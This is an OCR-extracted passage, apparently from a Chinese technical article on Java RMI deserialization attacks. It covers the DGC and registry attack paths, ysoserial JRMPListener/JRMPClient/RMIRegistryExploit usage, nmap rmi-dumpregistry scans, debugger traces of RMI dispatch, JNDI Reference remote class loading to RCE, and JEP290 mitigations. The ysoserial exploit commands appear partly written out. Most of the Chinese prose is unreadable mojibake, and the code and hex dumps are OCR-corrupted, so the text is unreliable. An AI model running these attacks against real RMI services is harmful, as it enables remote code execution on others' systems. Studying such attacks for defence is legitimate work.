=M@ DGCClient R# 1T M Ref, BiI801EXK. S1TNE#HITER, XERMUX

ETEA®%, S5LHE DGC AEHIT T &,

https://mp.weixin.qq.com/s/SxHPCklm3IyBn7vc5_OiUA
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2

executeCall:2 amRAemateCall (s

classpathlir]

stants.ExcaptionalReturn

A 80 ZFa0fa L MAYIE?

ZIStreamRemoteCall I NS HEEREE—TFTEA 80,

public StreamRemoteCall(Connection varl, 0bjID var2, int var3, long var4) th RemoteException {
try {
this.conn = varl;
Transport.transportLog. log(Log.VERBOSE, s: "write remote call header...");
this.conn.getOutputStream().write( b: -
this.getOutputStream();
var2.write(this.out);

this.out.writeInt(var3);

} catch (IOException var7) {

throw new MarshalException("Error marshaling call header", var7);

EREBMSIEW Listener EENENZENAZTERERESHTREINK, RFT!
HRAEMM EEEZERT,

https://mp.weixin.qq.com/s/SxXHPCkIm3IyBn7vc5_OiUA 28/34
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executeCall:244, StreamRemateCall fsun.qmi. transport)

MAME—T, varm1EXEMNMEXZAX¥MListener2T N EERE, MMRARNE
LEEAXE Listener inmFE T EERESTESBREGREELOIBKIG, MEENGE
BERFRIMCHWFNESEBRmEMERFEIL.,

I A
AXELEEEZEANBAN, TEQ BRIl AE payloads.JRMPClient AN IiE .,

java —-cp ysoserial-master.jar ysoserial.exploit.JRMPListener <

exploit.JRMPClient

DEMT JRMPClient X5, MK RMIRegistry
Exploit

e payloads.JRMPClient @ BfiDGCEMRef

e exploit.JRMPClient @B#DGCE#MmKFII£ payload

e exploit.RMIRegistryExploit @ B fiRMI.Registry{Z%#iF 51 payload,
B#A RMI.Registry ¥ 0fis O

THEZpayloads.JRMPListenerflRMI|.Registry AFRMM¥IFIHEOEnmapiA A
THARER:

exploit.JRMPClient A AX /& # 1T &
exploit.RMIRegistryExploitReERFEFZE .

https://mp.weixin.qq.com/s/SxXHPCkIm3IyBn7vc5_OiUA 29/34
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e

“> nmap -sV 127.0.0.1 -p 27122 --script rmi-dumpregistry
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-08 11:34 CST
Nmap scan report for localhost (127.0.0.1)

Host is up (0.00039s latency).

PORT STATE SERVICE VERSION
27122/tcp open java-rmi Java RMI

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 11.46 seconds

R 4 & ./exploit/java

“> nmap -sV 127.0.0.1 -p 15987 --script rmi-dumpregistry
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-08 11:34 CST
Nmap scan report for localhost (127.0.0.1)

Host is up (0.00026s latency).

PORT STATE SERVICE VERSION
15987/tcp open java-rmi Java RMI
| rmi-dumpregistry:
test_service
implements java.rmi.Remote, rmi.Services,
extends
java.lang.reflect.Proxy
fields
Ljava/lang/reflect/InvocationHandler; h

@10.17.44.166:55736
extends

|

|

|

|

l

| java.rmi.server.RemoteObjectInvocationHandler
|

| . . .

|_ java.rmi.server.RemoteObject

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 11.39 seconds

7T

sun.rmi.server.UnicastServerRef#dispatchHiZE Int #iE,

https://mp.weixin.qq.com/s/SXHPCklm3IyBn7vc5_OiUA 30/34
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void dispatchi{Remote varl, RemoteCall var2) throws IOException { wvarl: DGCImpl@836 var2: StreamRemoteCallg837?

long vard4; vard (slot_3): 1
ObjectInput vard®;
try {
vard®d = var2.getInputStream();
int var3 = varde.readInt(); var3 (slot_6): ConnectionInputStream@83s
if (var3 == 8]} {
if (this.skel != null) { skel: DGCImpl_Skel@839
this.oldDispatch{varl, var2, var3 ;

return;
throw new UnmarshalException("skeleton class not found but required for client version");

vard = vard@.readLong(};

r

(Exception var36) {
¢ new UnmarshalException("error unmarshalling call header", var36);

MarshalInputStream var39 = (MarshallnputStream)vard@;

war3Q_ckinNafanltRecnluallacel ).

Debug RMIServer2
Debugger

Frames

"RMI TCP Connection(1)-127.0.0.1"@797 in group "RMI| Runtime": RUNNING

dispatch:267, UnicastServerRef fsun.rm/ server)

public void oldDispatch(Remote varl, RemoteCall var2, int var3) throws I0Exception { wvarl: DGCImpl@837 var2: StreamRemoteCall@ll28 war3: 1

try {
ObjectInput varl8; wvarlf (slot_4): -669196253586618813

19 vard;
varlg = var2.getInputStream();

try {...} catch (ClassNotFoundException varl3) {
}

vard = varl8.readLong(];
} catch (Exception varld4) {
throw new UnmarshalException("error unmarshalling call header", varld);

this.logCalli{varl, this.skel.getOperations()[var3]);

this.unmarshalCustomCallData(varl8); wvarl8 (slot_4): -669196253586618813

this.skel.dispatch(varl, var2, var3, vard ; skel: DGCImpl_Skel@836 wvarl: DGCImpl@837 var2: StreamRemoteCall@ll?8 var3: 1
1 (Throwable varls) {

Object var6 = varl5s;

this.logCallExceptionivarls);

ObjectOutput var7 = var2.getResultStream( su

if {varl5 instanceof Error) {
Debug | RMIServer2 =
Debugger (3 cc

Frames Variables

"RMI TCP Connection(87)-127.0.0.1"@1,126 in group "RMI Runtime": RUNNING

©  oldDispatch:409, UnicastServerRef (sun.rmi.server)

https://mp.weixin.qq.com/s/SxXHPCkIm3IyBn7vc5_OiUA




2020/7/27 RMI FI| FH 4347

A =i PN
sun.rmi.transport.DGCImpl_Skel#tdispatch, S 3iZEM Long #IEENIEO

hash [E#{THIMIE & AHEE.

public void dispatch(Remote varl, RemoteCall var2, int var3, long vard4) throws Exception {

if (vard !'= —¢ 962 3L) {
throw new SkeletonMismatchException("interface hash mismatch");

varé.clean(var7, var8, var39, varde);

..} catch (IOException var35) {...}
ase 1:

Lease varle;

try {
ObjectInput varl3 = var2.getInputStream();
var7 = (0bjID[])varl3. readObject();
var8 = varl3.readlLong();
varld = (Lease)varl3.readObject();

I F

java —-cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rm

JNDI Reference
XF JNDI WMABEEEBRNEARLEI R, BWOEENITHIIE K,
demo

e with JDK 1.7.0_17
e with jndi\rmi.RMIClient. rmi.RMIServer
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oW
HMEHClientflfTlookupEBEEBERETH 4,
B # th  Client [@ Server i X & 1 test_service X W B stub, B # 17T

|l com.sun.jndi.rmi.registry.RegistryContext#decodeObject® 3% BX B #r
RKH ref,

Ze 30 e 30 2e 31 00 80 dl 5.
e 30 e 31 90 09 00 0@
P 55 a4 34

Bea0DeRe &
80000087 B0 09 3
BODBRELE 50

W
w6 Bb 8f 33 00 80 01 71
20 16 6a 61 76 61 7B 2
65 66 63 72 65 Be 63 8¢
B2 BB B4 4c B0 @5 61 84
a Bl 76 61 2f 75 74 68 6c
£ 7373 [fiec

4c B0 09 83 6c 81 73 T3
02 70 78 70 73 72 08 10
6c 26 56 BS 63 74 6f 72
03 90 03 49 00 11 63 61

T4 49

” e 2
ducodeObject: 456, 0o 90 B0 90 80
e

fa
10 73 29 6c 02 20 60 70

ZiEHN ref 3|
javax.naming.spi.NamingManager#tgetObjectinstanced # Tz 8 T | &£
B9 h0 & (FF LA Server % new Reference FHIE — 1 class SHHMES K&
i) .

Wl NamingManager java

XFEMEE Client 117 lookup BRFNILEEZEMBRELE X #IT RCE, &
FEE@THEAMR gadget,

B 1
= 3 = 6ulsd1 . 7u131 . 8u121 s 2K fic B

com.sun.jndi.rmi.object.trustURLCodebase=false, HEE XM S WIE
#l, REEEWT:
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BRI RFINMMHEMTEHREKL N - JEP290, X JEP290 WO X ER
Z, B Bypasss&EZREE4,

MEFE TEHH

SEMARE, APIXRESE, SFERFR

KIE " HBXE BT SEBRA
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